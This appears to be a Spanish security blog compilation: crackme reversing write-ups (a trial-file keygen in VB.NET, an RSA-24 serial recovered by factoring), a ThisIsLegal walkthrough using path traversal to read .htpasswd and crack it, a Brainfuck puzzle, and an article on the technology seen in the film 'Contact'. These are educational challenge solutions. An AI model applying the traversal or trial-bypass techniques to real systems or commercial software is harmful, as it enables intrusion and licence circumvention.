004010A3   |.^ 76 E6               \JBE SHORT timetria.0040108B              ;  |
004010A5   |.  59                  POP ECX                                   ;  kernel32.7580EE1C
004010A6   |.  EB 3A               JMP SHORT timetria.004010E2

 

Vigilando el proceso de creación del archivo podemos llegar a la conclusión de como se genera.

  • Los dos primeros bytes son el año = 2014 = 0x7DE. 7DE XOR 6969 = 6EB7.
  • Los dos siguientes son el mes = 10 = 0xA. A XOR 6969 = 6963.
  • Los dos siguientes usa un 4 (día de la semana???) = 0x4. 4 XOR 6969 = 696D.
  • Los dos siguientes son el día del mes = 2 = 0x2. 2 XOR 6969 = 696B
  • Los dos siguientes usa un 1 = 0x1. 1 XOR 6969 = 6968.
  • El número de sesiones lo deja como está, 60.

Estado de la memoria:

004030AB  B7 6E 63 69 6D 69 6B 69 68 69 60                 ·ncimikihi`
  •  Finalmente le resta 1 al número de sesiones y guarda el fichero.
004010E2   |> \A0 B5304000         MOV AL,BYTE PTR DS:[4030B5]
004010E7   |.  34 69               XOR AL,69
004010E9   |.  3C 00               CMP AL,0
004010EB   |. /74 59               JE SHORT timetria.00401146
004010ED   |. |FEC8                DEC AL
004010EF   |. |A2 01304000         MOV BYTE PTR DS:[403001],AL
004010F4   |. |34 69               XOR AL,69
004010F6   |. |A2 B5304000         MOV BYTE PTR DS:[4030B5],AL
004010FB   |. |6A 00               PUSH 0                                    ; /Origin = FILE_BEGIN
004010FD   |. |6A 00               PUSH 0                                    ; |pOffsetHi = NULL
004010FF   |. |6A 00               PUSH 0                                    ; |OffsetLo = 0
00401101   |. |FF35 14314000       PUSH DWORD PTR DS:[403114]                ; |hFile = 00000034 (window)
00401107   |. |E8 18010000         CALL <JMP.&KERNEL32.SetFilePointer>       ; \SetFilePointer
0040110C   |. |6A 00               PUSH 0                                    ; /pOverlapped = NULL
0040110E   |. |68 E0304000         PUSH timetria.004030E0                    ; |pBytesWritten = timetria.004030E0
00401113   |. |6A 0B               PUSH 0B                                   ; |nBytesToWrite = B (11.)
00401115   |. |68 AB304000         PUSH timetria.004030AB                    ; |Buffer = timetria.004030AB
0040111A   |. |FF35 14314000       PUSH DWORD PTR DS:[403114]                ; |hFile = 00000034 (window)
00401120   |. |E8 05010000         CALL <JMP.&KERNEL32.WriteFile>            ; \WriteFile

En cada ejecución realiza tres comprobaciones.
Recordemos el contenido del fichero:

B7 6E 63 69 6D 69 6B 69 68 69 60                 ·ncimikihi`

1) Mes y año (4 primeros bytes)

004010A8   |> \8B0D AB304000       MOV ECX,DWORD PTR DS:[4030AB] ; ECX=69636EB7
004010AE   |.  81F1 69696969       XOR ECX,69696969              ; 69636EB7 xor 69696969 = A07DE (A = mes y 7DE = año)
004010B4   |.  A1 E4304000         MOV EAX,DWORD PTR DS:[4030E4]
004010B9   |.  3BC1                CMP EAX,ECX                   ; Compara con mes y año actuales
004010BB   |.  0F85 85000000       JNZ timetria.00401146         ; Bad boy

2) Día (7º y 8º byte)

004010C1   |.  66:8B0D B1304000    MOV CX,WORD PTR DS:[4030B1]   ; CX = 696B
004010C8   |.  66:81F1 6969        XOR CX,6969                   ; 696B xor 6969 = 2
004010CD   |.  66:A1 EA304000      MOV AX,WORD PTR DS:[4030EA]   ; AX = día actual obtenido con GetSystemTime
004010D3   |.  66:2BC1             SUB AX,CX                     ; Los resta
004010D6   |.  66:83F8 03          CMP AX,3                      ; Compara con 3
004010DA   |.  77 6A               JA SHORT timetria.00401146    ; Si el resultado >=3 Bad Boy

3) Sesiones (11º byte)

004010DC   |.  2805 00304000       SUB BYTE PTR DS:[403000],AL   ;
004010E2   |>  A0 B5304000         MOV AL,BYTE PTR DS:[4030B5]   ; AL = numero de sesiones actual
004010E7   |.  34 69               XOR AL,69                     ; 61 Xor 69 = 8
004010E9   |.  3C 00               CMP AL,0                      ; Compara con 0
004010EB   |.  74 59               JE SHORT timetria.00401146    ; Salta si hemos superado las 9 sesiones. Bad boy
004010ED   |.  FEC8                DEC AL                        ; Si no le resta 1
004010EF   |.  A2 01304000         MOV BYTE PTR DS:[403001],AL
004010F4   |.  34 69               XOR AL,69                     ; y le hace xor 69 para codificar el nuevo valor de sesión
004010F6   |.  A2 B5304000         MOV BYTE PTR DS:[4030B5],AL

Con esto ya podemos alterar el archivo a nuestro antojo sin necesidad de parchear.

Keygen

Try
            ano = ano Xor 26985
            mes = mes Xor 26985
            dia = dia Xor 26985
            anos = Hex(ano).ToString
            mess = Hex(mes).ToString
            dias = Hex(dia).ToString
            If txtsesiones.Text <= 255 Then
                sesioness = Hex(sesiones)
            Else
                sesiones = 255
            End If
            sesioness = Hex(sesiones)
            'key = 00 00 00 00 00 00 00 00 00 00 00
            'key = año+año+mes+mes+X+X+dia+dia+X+sesiones
            key = Chr(Convert.ToInt32(anos.Substring(2, 2), 16)) & Chr(Convert.ToInt32(anos.Substring(0, 2), 16)) _
            & Chr(Convert.ToInt32(mess.Substring(2, 2), 16)) & Chr(Convert.ToInt32(mess.Substring(0, 2), 16)) _
            & Chr(106) & Chr(105) _
            & Chr(Convert.ToInt32(dias.Substring(2, 2), 16)) & Chr(Convert.ToInt32(dias.Substring(0, 2), 16)) _
            & Chr(103) & Chr(105) _
            & Chr(Convert.ToInt32(sesioness.Substring(0, 2), 16))
            'Creo el archivo llave
            Dim ruta As String = Application.StartupPath & "\DATA.DET"
            If File.Exists(ruta) Then
                File.Delete(ruta)
            End If
            Using sw As StreamWriter = New StreamWriter(ruta, True, System.Text.Encoding.Default)
                sw.Write(key)
                sw.Close()
            End Using
            MsgBox("DATA.DET generado correctamente", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Info")
        Catch ex As Exception
            MsgBox("Ocurrió algún error" & vbCrLf & ex.Message)
        End Try

 Links


Introducción Esta vez se trata de un crackme realizado en VC++ 5.0/6.0 y en sus entrañas utiliza RSA-24. En este
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Introducción La película "Contact", estrenada en 1997 y dirigida por Robert Zemeckis, es una adaptación de la novela homónima de

Solución al Crackme RSA (RSA24) de TSC

Introducción

Esta vez se trata de un crackme realizado en VC++ 5.0/6.0 y en sus entrañas utiliza RSA-24. En este caso la peculiaridad es que el nombre no interviene en la generación del serial siendo un resultado único.

Resumen RSA

Parámetros

p = Primer número primo
q = Segundo número primo
e = Exponente público que cumpla MCD(e,(p-1)*(q-1))==1
n = Módulo público siendo n=p*q
d = Exponente privado que cumpla d=e^(-1) mod ((p-1)*(q-1))

De este modo e y n son la parte pública de la clave y d y n la parte privada. Los número primos p y q se utilizan solo para generar los parámetros y de ahí en adelante se pueden desechar.

Funciones de Cifrado/Descifrado

cifrado = descifrado ^ e mod n
descifrado = cifrado ^ d mod n

OllyDbg

Nuestro primer vistazo con OllyDbg nos muestra cuatro números de los que podemos hacernos una idea de que 9901 es un buen candidato a ser el exponente público (e) y 12790891 el módulo n ya que casualmente es un número de 24 bits. Los otros dos números de momento no nos dicen nada.

Referencias de texto

A continuación de los números tenemos la rutina de comprobación en la que comprueba que nuestro serial tenga 14 dígitos y lo divide en dos partes de 7 dígitos. Interesante ya que los otros dos números que aparecían en las referencias de texto tienen 7 dígitos cada uno.

004029CD  |.  68 DC004200   PUSH    RSA24.004200DC                         ;  ASCII "9901"
004029D2  |.  8D8C24 E40000>LEA     ECX,[DWORD SS:ESP+E4]
004029D9  |.  E8 52E7FFFF   CALL    RSA24.00401130
004029DE  |.  68 D0004200   PUSH    RSA24.004200D0                         ;  ASCII "12790891"
004029E3  |.  8D4C24 1C     LEA     ECX,[DWORD SS:ESP+1C]
004029E7  |.  C78424 640600>MOV     [DWORD SS:ESP+664],0
004029F2  |.  E8 39E7FFFF   CALL    RSA24.00401130
004029F7  |.  68 C8004200   PUSH    RSA24.004200C8                         ;  ASCII "8483678"
004029FC  |.  8D8C24 740200>LEA     ECX,[DWORD SS:ESP+274]
00402A03  |.  C68424 640600>MOV     [BYTE SS:ESP+664],1
00402A0B  |.  E8 20E7FFFF   CALL    RSA24.00401130
00402A10  |.  68 C0004200   PUSH    RSA24.004200C0                         ;  ASCII "5666933"
00402A15  |.  8D8C24 AC0100>LEA     ECX,[DWORD SS:ESP+1AC]
00402A1C  |.  C68424 640600>MOV     [BYTE SS:ESP+664],2
00402A24  |.  E8 07E7FFFF   CALL    RSA24.00401130
00402A29  |.  8B9424 680600>MOV     EDX,[DWORD SS:ESP+668]
00402A30  |.  83CE FF       OR      ESI,FFFFFFFF
00402A33  |.  8BFA          MOV     EDI,EDX
00402A35  |.  8BCE          MOV     ECX,ESI
00402A37  |.  33C0          XOR     EAX,EAX
00402A39  |.  C68424 600600>MOV     [BYTE SS:ESP+660],3
00402A41  |.  F2:AE         REPNE   SCAS [BYTE ES:EDI]
00402A43  |.  F7D1          NOT     ECX
00402A45  |.  49            DEC     ECX
00402A46  |.  83F9 0E       CMP     ECX,0E                                 ;  serial 0xE chars -> 14 digitos
00402A49  |.  0F85 63010000 JNZ     RSA24.00402BB2
00402A4F  |.  33C9          XOR     ECX,ECX
00402A51  |>  8A0411        /MOV     AL,[BYTE DS:ECX+EDX]                  ;  {
00402A54  |.  3C 30         |CMP     AL,30
00402A56  |.  0F8C 56010000 |JL      RSA24.00402BB2
00402A5C  |.  3C 39         |CMP     AL,39                                 ;  comprueba que el serial sea numerico
00402A5E  |.  0F8F 4E010000 |JG      RSA24.00402BB2
00402A64  |.  41            |INC     ECX
00402A65  |.  83F9 0E       |CMP     ECX,0E
00402A68  |.^ 7C E7         \JL      SHORT RSA24.00402A51                  ;  }
00402A6A  |.  8BC2          MOV     EAX,EDX
00402A6C  |.  C64424 17 00  MOV     [BYTE SS:ESP+17],0                     ;  {
00402A71  |.  C64424 0F 00  MOV     [BYTE SS:ESP+F],0
00402A76  |.  8B08          MOV     ECX,[DWORD DS:EAX]
00402A78  |.  894C24 10     MOV     [DWORD SS:ESP+10],ECX
00402A7C  |.  66:8B48 04    MOV     CX,[WORD DS:EAX+4]
00402A80  |.  66:894C24 14  MOV     [WORD SS:ESP+14],CX
00402A85  |.  8B4A 07       MOV     ECX,[DWORD DS:EDX+7]
00402A88  |.  8A40 06       MOV     AL,[BYTE DS:EAX+6]                     ;  divide el serial en dos partes de 7 digitos
00402A8B  |.  894C24 08     MOV     [DWORD SS:ESP+8],ECX
00402A8F  |.  884424 16     MOV     [BYTE SS:ESP+16],AL
00402A93  |.  8D42 07       LEA     EAX,[DWORD DS:EDX+7]
00402A96  |.  8D4C24 10     LEA     ECX,[DWORD SS:ESP+10]
00402A9A  |.  66:8B50 04    MOV     DX,[WORD DS:EAX+4]
00402A9E  |.  8A40 06       MOV     AL,[BYTE DS:EAX+6]                     ;  }

A continuación hace una serie de operaciones matemáticas para finalmente comparar el resultado con 8483678 y con 5666933. Lo que está haciendo es cifrar con nuestro serial en dos partes para comprobar que tenemos el número descifrado. Veamos un ejemplo con el serial 12345678901234.

descifrado ^ e mod n = cifrado
x1 = 1234567 y x2 = 8901234
1º parte del serial
x1 ^ 9901 mod 12790891 != 8483678
2º parte del serial
x2 ^ 9901 mod 12790891 != 5666933

Obviamente el resultado de las operaciones anteriores no da ese resultado y el Crackme nos tira fuera de modo que no nos queda más que atacar a RSA para obtener los primos p y q y el módulo privado d. De este modo podremos obtener los números buenos.

Los primos p y q se obtienen factorizando (botón Factor N) y una vez que tenemos p y q hallamos d (botón Calc. D). Todo esto es coser y cantar con la ayuda de la herramienta RSA-Tool 2. El exponente público e se introduce en hexadecimal.

Obteniendo p, q y d

Una vez que tenemos d hallamos el serial de forma sencilla con la herramienta Big Integer Calculator.

cifrado ^ d mod n = descifrado
1º parte del serial
8483678 ^ 10961333 mod 12790891 = 7167622
2º parte del serial
5666933 ^ 10961333 mod 12790891 = 3196885

SERIAL = 71676223196885
1º parte del serial
2º parte del serial

Enlaces

ThisIsLegal.com – Realistic Challenge 4

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

Realistic Challenge 4: There is a site offering protection against hackers to website owners, the service is far too overpriced and the people running the service don’t know anything about security. Look around their site, and see how protected it is.

Hay un sitio que ofrece protección contra los hackers. El servicio tiene un precio abusivo, echa un vistazo a la web y evalúa su pretección.

Analizando a la víctima

Vemos un escueto menú pero con cosas interesantes.

Pinchamos sobre «Testimonials» y a continuación en «Customer 1»

Vemos que hay solo 3 «customers», vamos a introducir manualmente un 5 haber que pasa.

Ok, nos genera el siguiente error.

Probamos ahora con un enlace interno que nos genera el siguiente error.

http://www.thisislegal.com/newr/src/read.php?customer=../orders.php

Nos llama la atención «../beqref.cuc«. Parece una encriptación simple, probemos a poner eso mismo en el navegador.

http://www.thisislegal.com/newr/src/read.php?customer=../beqref.cuc

 

Nuestras sospechas son acertadas, ahora el error muestra esto.

Explotando a la víctima

Probamos varias cosas y al final conseguimos algo relevante con «order2.php«.

http://www.thisislegal.com/newr/src/read.php?customer=../beqre2.cuc
Tenemos un directorio interesante «secure«, si entramos en el nos salta un Login típico protegido con «.htaccess«. Lo lógico a continuación es hacernos con el archivo «.htpasswd«
http://www.thisislegal.com/newr/src/read.php?customer=../frpher/.ugcnffjq

 

Una vez obtenido el contenido del archivo «.htpasswd» lo siguiente es crackear el password con John the Ripper. Nos logueamos en la carpeta secure y reto superado.

Links

Canyouhack.it – Cryptography Challenge 13

Los retos criptográficos son muy variados y muchas veces la dificultad está en saber a que te enfrentas. En este caso pasa eso, te dan un código y si no has visto algo parecido en la vida, no sabes por donde empezar. El título del autor da una pequeña pista pero para los desconocedores no es suficiente. La pista es el título y dice «WTF?!?» y el código a descifrar es el siguiente:

[-]>[-]<
>+++++++++++[<+++++++++++>-]<.
>+++[<--->-]<-.
>++[<++>-]<++.
+.
>++++[<---->-]<-.
---.
+++.
.
>+++[<+++>-]<.
>+++[<--->-]<+.
>++++[<++++>-]<-.
>++++[<---->-]<--.
>+++[<+++>-]<-.
>++[<-->-]<--.
-.

Si eres una persona con recursos, realizaras varias búsquedas por la red y al final llegarás a la conclusión de que te enfrentas a BRAINFUCK, un lenguaje de programación esotérico como ya vimos en el reto de Root-Me.

Enlaces

Tras las Pantallas de ‘Contact’: Un Viaje a Través del Hardware y del Software

Introducción

La película «Contact«, estrenada en 1997 y dirigida por Robert Zemeckis, es una adaptación de la novela homónima de Carl Sagan. Más allá de su profunda exploración sobre la existencia de vida extraterrestre y el debate entre ciencia y fe, la película ofrece un interesante vistazo a la tecnología de la época. En este análisis, nos enfocaremos en los aspectos tecnológicos presentes en la película, detallando los sistemas operativos, software y hardware utilizados por los protagonistas.

Sinopsis

La Dra. Eleanor «Ellie» Arroway, interpretada por Jodie Foster, es una científica dedicada al proyecto SETI (Búsqueda de Inteligencia Extraterrestre). Tras años de búsqueda, capta una señal proveniente del espacio profundo que contiene instrucciones para construir una máquina enigmática. A medida que se desarrolla la trama, Ellie enfrenta desafíos políticos, religiosos y personales mientras lucha por interpretar el mensaje y lo que podría significar para la humanidad.

Análisis Tecnológico

Sistemas Operativos y Software

Uno de los aspectos más destacados en Contact es la presencia del sistema operativo UNIX. A lo largo de la película, se observan pistas que indican su uso, como pegatinas en las pantallas con mensajes del estilo: «Join the UNIX PARTY (The open system platform)». UNIX, desarrollado en la década de 1970, es conocido por su estabilidad y eficiencia, características esenciales en entornos científicos y de investigación.

La utilización de Netscape Navigator es recurrente. El logo de Netscape aparece en varias ocasiones, especialmente durante las videoconferencias que se muestran sin retrasos apreciables. Netscape fue uno de los primeros navegadores web ampliamente utilizados y jugó un papel crucial en la expansión de Internet durante los años 90.

Es importante destacar que, aunque la película promueve la idea de sistemas abiertos a través del uso de UNIX, Netscape Navigator no era software libre en el momento en que se rodó la película. Durante esa época, antes de 1997, Netscape era un navegador propietario. Sin embargo, en sistemas UNIX, Netscape tenía poca competencia y era el navegador predominante, soportando estándares abiertos como HTTP y HTML. Curiosamente, en 1998, poco después del estreno de la película, Netscape liberó el código fuente de su navegador, iniciando el proyecto Mozilla y contribuyendo significativamente al movimiento del software libre.

El software o plataforma denominada MADDEN HADDEN es utilizado por los protagonistas en diversas localizaciones, sugiriendo que es un estándar en su campo. Aunque en la realidad no existe un software conocido con ese nombre en el ámbito científico, en la película parece ser una herramienta integral para el análisis de datos y comunicación.

Videoconferencias y Comunicaciones

Las videoconferencias sin «lags» (retrasos) que se muestran en la película son notables, especialmente considerando las limitaciones tecnológicas de la época. La presencia del logo de Netscape durante estas comunicaciones resalta el optimismo sobre las capacidades de Internet en 1997. En ese entonces, las conexiones de alta velocidad no eran comunes, y las videollamadas de calidad eran más una aspiración que una realidad.

Estándares y Sistemas Abiertos

La promoción de sistemas abiertos es evidente en la película. El uso de UNIX, basado en estándares abiertos, refleja una filosofía de colaboración y accesibilidad en el ámbito científico. Aunque Netscape Navigator no era software libre durante la producción de la película, su soporte para estándares abiertos de Internet lo convirtió en una herramienta esencial para la comunicación y el intercambio de información entre científicos y profesionales.

Hardware

En términos de hardware, la película presenta una variedad de equipos representativos de la tecnología de los años 90:

Monitor NEC MultiSync XE21: Un monitor CRT de 21 pulgadas conocido por su alta resolución y calidad de imagen, ideal para aplicaciones que requieren detalles precisos.

Monitores con marcas ocultas: Es interesante notar que en varios monitores se utilizan post-its o adhesivos para cubrir la marca y el modelo. Esto podría deberse a decisiones de producción para evitar publicidad no deseada o cuestiones legales relacionadas con derechos de marca.

Monitor CTX: Aunque no se especifica el modelo, los monitores CTX eran populares por su fiabilidad y rendimiento a un costo razonable.

Monitor Hansol Mazellan 17px: Los monitores Hansol eran reconocidos por su calidad en la reproducción de gráficos, siendo utilizados en diseño y aplicaciones multimedia.

Monitor IBM: IBM fue pionera en tecnología informática, y sus monitores eran sinónimo de calidad y durabilidad. Aunque no se especifica el modelo exacto, es probable que se trate de uno de sus populares monitores CRT utilizados en entornos profesionales.

Evolución de UNIX y Windows

Para entender el contexto tecnológico de la época, es útil comparar la evolución de UNIX y Windows, así como de los navegadores Netscape Navigator e Internet Explorer.

Detalles Adicionales

Cobertura de marcas: La práctica de cubrir las marcas y modelos en los monitores podría indicar un intento de la producción por crear un entorno más universal y atemporal, evitando asociar la tecnología presentada con productos específicos que podrían quedar obsoletos rápidamente. En bastantes fotogramas se nota que esto es completamente intencionado.

Representación de la tecnología: La película equilibra la precisión técnica con las necesidades narrativas. Si bien algunas representaciones, como las videoconferencias fluidas, eran tecnológicamente avanzadas para la época, sirven para enfatizar la conectividad y colaboración global entre los científicos.

SETI y la Búsqueda de Vida Extraterrestre: En Contact, la Dra. Ellie Arroway dedica su vida al proyecto SETI (Search for Extraterrestrial Intelligence), reflejando el esfuerzo real de la comunidad científica por encontrar señales de inteligencia extraterrestre. SETI es una iniciativa internacional que utiliza radiotelescopios para detectar posibles comunicaciones de civilizaciones fuera de la Tierra. La película captura la pasión y los desafíos asociados con este tipo de investigación, destacando la dedicación de los científicos que trabajan en el límite de lo conocido.

El Mensaje de Arecibo: El radiotelescopio de Arecibo en Puerto Rico juega un papel significativo tanto en la realidad como en la película. En 1974, desde este observatorio, se envió el famoso Mensaje de Arecibo, una transmisión de radio dirigida al cúmulo estelar M13, diseñada para demostrar los avances tecnológicos humanos y nuestra existencia a posibles civilizaciones extraterrestres. El mensaje contenía información codificada sobre la composición humana, nuestro sistema numérico, la estructura del ADN y nuestra posición en el sistema solar. En «Contact», aunque la señal recibida por Ellie proviene de Vega y no está directamente relacionada con el Mensaje de Arecibo, la película establece paralelismos con este acontecimiento histórico. La utilización de Arecibo como escenario subraya la conexión entre los esfuerzos reales y ficticios en la búsqueda de inteligencia extraterrestre. La película explora la posibilidad de que, así como enviamos mensajes al espacio, podríamos recibir respuestas o comunicaciones de otras civilizaciones.

Matthew McConaughey: Es interesante notar cómo este actor ha participado en dos de las películas más destacadas de la ciencia ficción: Contact e Interstellar. En Contact, McConaughey interpreta un papel secundario como Palmer Joss, un escritor y asesor espiritual que cuestiona las implicaciones éticas y filosóficas del descubrimiento científico. Diecisiete años después, en Interstellar, asume el rol protagonista de Cooper, un ex piloto de la NASA que emprende una misión interestelar para salvar a la humanidad.

Números primos: El inicio de la investigación seria de la señal extraterrestre en la película se desencadena cuando, al analizar la señal recibida, los científicos descubren que esta codifica una secuencia de números primos. Este hallazgo resulta crucial, ya que los números primos, al ser divisibles únicamente por 1 y por sí mismos, no surgen de forma aleatoria en procesos naturales conocidos. Su presencia en la señal sugiere intencionalidad e inteligencia detrás de su emisión, lo que confirma que no se trata de ruido cósmico sino de una posible comunicación deliberada desde una civilización avanzada. Este descubrimiento impulsa a los científicos a profundizar en la decodificación, marcando el verdadero inicio de la búsqueda de vida extraterrestre.

Conclusión

Contact no solo es una obra que invita a reflexionar sobre nuestro lugar en el universo y la posibilidad de vida más allá de la Tierra, sino que también es un retrato de la tecnología de su tiempo. La inclusión de sistemas operativos como UNIX, navegadores como Netscape y hardware específico refleja una atención al detalle que enriquece la narrativa. A pesar de que Netscape Navigator no era software libre durante la producción de la película, su presencia destaca la importancia de los estándares abiertos y la colaboración en el avance científico.

También destaca por su compromiso con la precisión científica, en gran parte debido a la influencia de Carl Sagan, autor de la novela original y asesor en la producción. La representación de los procedimientos del SETI, el análisis de señales y las discusiones éticas y filosóficas reflejan debates reales en la comunidad científica. La inclusión de elementos como el Mensaje de Arecibo y las operaciones del radiotelescopio añaden autenticidad a la narrativa y acercan al público a la realidad de la exploración espacial.

Bibliografía y Enlaces

Galería